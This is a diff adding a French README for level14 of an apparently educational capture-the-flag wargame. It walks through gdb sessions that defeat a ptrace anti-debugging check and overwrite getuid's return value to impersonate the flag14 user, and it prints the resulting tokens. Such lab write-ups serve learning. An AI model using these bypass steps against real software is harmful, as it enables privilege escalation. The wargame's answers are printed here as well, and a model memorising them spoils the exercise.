Breakpoint 1, 0x0804858f in main ()
|
||||
(gdb) s
|
||||
Single stepping until exit from function main,
|
||||
which has no line number information.
|
||||
|
||||
Breakpoint 2, 0x0804859a in main ()
|
||||
(gdb) set $eax=0x1092
|
||||
(gdb) c
|
||||
Continuing.
|
||||
your token is 2A31L79asukciNyi8uppkEuSx
|
||||
[Inferior 1 (process 2288) exited with code 050]
|
||||
```
|
||||
78
rparodi/level14/README-FR.md
Normal file
78
rparodi/level14/README-FR.md
Normal file
|
|
@ -0,0 +1,78 @@
|
|||
Le repertoire de level14 est vide et aucun flag restant apparent... il ne reste plus qu'a regarder directement dans getflag :eyes:
|
||||
|
||||
(Pour etre honnete je souhaiter faire ca pour tous les flags mais j'ai ete spoiler que c'etait le dernier niveau)
|
||||
|
||||
En regardant le code ca ressemble a une foret de if else if
|
||||
|
||||
En passant par le main j'obtiens ce message
|
||||
```asm
|
||||
(gdb) b main
|
||||
Breakpoint 1 at 0x804894a
|
||||
(gdb) r
|
||||
Starting program: /bin/getflag
|
||||
|
||||
Breakpoint 1, 0x0804894a in main ()
|
||||
(gdb) c
|
||||
Continuing.
|
||||
You should not reverse this
|
||||
[Inferior 1 (process 2506) exited with code 01]
|
||||
```
|
||||
|
||||
c'est ptrace qui nous empeche de faire ce que nous souhaitons
|
||||
```asm
|
||||
8048989: e8 b2 fb ff ff call 8048540 <ptrace@plt>
|
||||
804898e: 85 c0 test eax,eax
|
||||
```
|
||||
|
||||
J'ai donc pu le bypass il suffit d'aller a ptrace puis de mettre eax a 0 (afin qu'il pense que c'est une execution classique)
|
||||
```asm
|
||||
gdb /bin/getflag
|
||||
(gdb) b ptrace
|
||||
Breakpoint 1 at 0x8048540
|
||||
(gdb) r
|
||||
Starting program: /bin/getflag
|
||||
|
||||
Breakpoint 1, 0xb7f146d0 in ptrace () from /lib/i386-linux-gnu/libc.so.6
|
||||
(gdb) n
|
||||
Single stepping until exit from function ptrace,
|
||||
which has no line number information.
|
||||
0x0804898e in main ()
|
||||
(gdb) set $eax=0
|
||||
(gdb) n
|
||||
Single stepping until exit from function main,
|
||||
which has no line number information.
|
||||
Check flag.Here is your token :
|
||||
Nope there is no token here for you sorry. Try again :)
|
||||
```
|
||||
|
||||
Voici l'exploit complet avec le changement de la return value de getuid pour 3014 (soit d'apres /etc/passwd l'uid de flag14)
|
||||
```asm
|
||||
gdb /bin/getflag
|
||||
(gdb) b ptrace
|
||||
Breakpoint 1 at 0x8048540
|
||||
(gdb) b getuid
|
||||
Breakpoint 2 at 0x80484b0
|
||||
(gdb) r
|
||||
Starting program: /bin/getflag
|
||||
|
||||
Breakpoint 1, 0xb7f146d0 in ptrace () from /lib/i386-linux-gnu/libc.so.6
|
||||
(gdb) n
|
||||
Single stepping until exit from function ptrace,
|
||||
which has no line number information.
|
||||
0x0804898e in main ()
|
||||
(gdb) set $eax=0
|
||||
(gdb) n
|
||||
Single stepping until exit from function main,
|
||||
which has no line number information.
|
||||
|
||||
Breakpoint 2, 0xb7ee4cc0 in getuid () from /lib/i386-linux-gnu/libc.so.6
|
||||
(gdb) n
|
||||
Single stepping until exit from function getuid,
|
||||
which has no line number information.
|
||||
0x08048b02 in main ()
|
||||
(gdb) set $eax=0xBC6
|
||||
(gdb) n
|
||||
Single stepping until exit from function main,
|
||||
which has no line number information.
|
||||
Check flag.Here is your token : 7QiHafiNa3HVozsaXkawuYrTstxbpABHD8CPnHJ
|
||||
```
|
||||
Loading…
Add table
Add a link
Reference in a new issue